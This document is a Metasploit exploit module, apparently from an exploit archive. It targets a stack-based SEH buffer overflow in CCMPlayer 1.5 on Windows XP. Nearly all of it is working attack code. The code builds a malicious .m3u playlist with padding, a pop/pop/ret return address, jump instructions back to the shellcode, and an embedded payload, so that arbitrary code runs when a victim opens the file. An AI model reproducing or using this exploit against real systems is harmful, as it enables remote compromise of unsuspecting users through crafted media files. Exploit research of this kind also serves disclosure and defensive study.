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CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)

Posted on 01 December 2011

# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)
# Date: 30 Nov 2011
# Author: Rh0
# Software: CCMPlayer 1.5
# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
 'Description' => %q{
 This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
 a m3u playlist with a long track name, a SEH exception record can be overwritten
 with parts of the controllable buffer. SEH execution is triggered after an
 invalid read of an injectible address, thus allowing arbitrary code execution.
 },
 'License' => MSF_LICENSE,
 'Author' => ['Rh0'], # discovery and metasploit module
 'Version' => '0.0',
 'References' =>
 [
 # for info about "DisapleNops" and "StackAdjustment"
 ['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],
 # for metasploit fileformat exploit structure and use of Metasm
 ['URL', 'http://www.exploit-db.com/exploits/18142/']
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 'DisablePayloadHandler' => 'true',
 },
 'Payload' =>
 {
 'Space' => 0x1000,
 'BadChars' => "x00x0dx0ax1ax2cx2ex3ax5c", # x00
x1a,.:\
 'DisableNops' => 'True',
 'StackAdjustment' => -3500,
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [
 'CCMPlayer 1.5 on Windows XP SP3 EN',
 {
 # pop esi / pop ebx / ret (in ccmplay.exe)
 # tweak it if necessary
 'Ret' => 0x00403ca7, # last NULL in buffer is accepted
 'Offset' => 0x1000
 }
 ]
 ],
 'Privileged' => false,
 'DisclosureDate' => '30 Nov 2011', # to my knowledge
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
 ], self.class)
 end

 def exploit

 m3u = "C:\"
 # shellcode
 m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
 m3u << payload.encoded
 # junk
 m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
 # need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
 # to trigger SEH
 m3u << [0xffffffff].pack("V")
 # pad
 m3u << rand_text_alpha_upper(3)
 # long jmp: jmp far back to shellcode
 m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
 # NSEH: jmp short back to long jmp instruction
 m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
 # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
 m3u << rand_text_alpha_upper(2)
 # SEH Exception Handler Address -> p/p/r
 m3u << [target.ret].pack("V")
 m3u << ".mp3
" # no crash without it

 print_status("Creating '#{datastore['FILENAME']}' file ...")

 # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
 file_create(m3u)

 end

end

 

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